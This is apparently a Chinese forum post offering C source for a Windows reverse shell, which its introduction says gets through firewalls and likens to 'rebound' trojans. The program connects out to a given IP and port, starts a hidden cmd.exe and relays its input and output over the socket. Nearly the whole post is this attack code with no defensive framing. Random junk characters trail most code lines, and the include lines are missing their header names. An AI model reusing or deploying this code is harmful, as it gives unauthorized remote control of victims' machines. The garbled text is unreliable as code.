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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 95H`-A  
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/* ============================== !W3Le$aL  
Rebound port in Windows NT n@%'Nbc>b  
By wind,2006/7 jf%Ydr}`  
===============================*/ 8F@6^9C  
#include AOfQqGf  
#include f9&D1Gh+w  
^< E,aCy  
#pragma comment(lib,"wsock32.lib") ^|x{E20  
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void OutputShell(); ZPMEN,Dw  
SOCKET sClient; t7~mW$}O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7"QcvV@p  
%r>vZ/>a  
void main(int argc,char **argv) Onc!5L  
{ cX&c%~  
WSADATA stWsaData; Ti'O 2k  
int nRet; R4v=i)A~Z  
SOCKADDR_IN stSaiClient,stSaiServer; 'kC$R;#\7  
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if(argc != 3) -~aVt~{k/  
{  t]vz+VQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); gVD!.  
return; f{)*"  
} .CYq+^  
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WSAStartup(MAKEWORD(2,2),&stWsaData); KcrF=cA  
g =%W"v  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L3W ^ip4  
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stSaiClient.sin_family = AF_INET; dE^'URBiA  
stSaiClient.sin_port = htons(0); ~bwFQYY=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8=SNLO  
Xr~r`bR=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cr[#D$::`  
{ s9'iHe  
printf("Bind Socket Failed!\n"); a{8GT2h`4  
return; wj?f r?  
} oFsMQ Py  
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stSaiServer.sin_family = AF_INET; y.~5n[W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <8y8^m`P9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6[CX[=P30  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [mwfgh&4%  
{ p1&d@PF&&  
printf("Connect Error!"); "~Eo=R0O  
return; bcZHFX  
} <h;P<4JX  
OutputShell();  %"z W]  
} J7$=f~$  
:wF(([&4p!  
void OutputShell() }W YY5L8^  
{ }tJ:-!*2  
char szBuff[1024]; bVVa5? HP  
SECURITY_ATTRIBUTES stSecurityAttributes; ZWr\v!4  
OSVERSIONINFO stOsversionInfo; @4Y>)wn&;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z c"]Cv(  
STARTUPINFO stStartupInfo; 7_{x '#7  
char *szShell; 7.=u:PK7kM  
PROCESS_INFORMATION stProcessInformation; a;lCr|*  
unsigned long lBytesRead; `=\G>#p<T  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cis ~]x%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d-  ]%  
stSecurityAttributes.lpSecurityDescriptor = 0; YnNei 7R  
stSecurityAttributes.bInheritHandle = TRUE; `P GWu1/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  (0k0gq;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qD9B[s8  
kg-%:;y.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kTnvD|3_!P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7IvCMb&%R  
stStartupInfo.wShowWindow = SW_HIDE; Pjx9@i  
stStartupInfo.hStdInput = hReadPipe; Gis'IX(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4RzG3CJdS  
6?t5g4q*nn  
GetVersionEx(&stOsversionInfo); -OziUM1qs  
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switch(stOsversionInfo.dwPlatformId) 5Ut0I]h|z  
{ BkC(9[Ei  
case 1: jb*#!m.l  
szShell = "command.com"; 5H',Bm4-  
break; n XQg(!  
default: i?a]v 5  
szShell = "cmd.exe"; R `'@$"  
break; Rc6Rk!^  
} 7'<4'BGzl]  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QzS{2Y[OQ  
co*5NM^  
send(sClient,szMsg,77,0); 5 Fd]3  
while(1) k%LE"Q  
{ ?r@ZTuq#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  %k2zsM  
if(lBytesRead) X~R qv5@-  
{ 0!?f9kJq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rDSt ~ l  
send(sClient,szBuff,lBytesRead,0); 0xjV*0?s  
} 5 )C~L]  
else TS%cTh'ItH  
{ 8G@FX $$Q  
lBytesRead=recv(sClient,szBuff,1024,0); 3 C[ ;2  
if(lBytesRead<=0) break; JD>!3>S)?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7>4t{aRf_8  
} ](W #Tj5-  
} Xau.4&\d  
;3-ssF}k*  
return; TLkkB09fvk  
}
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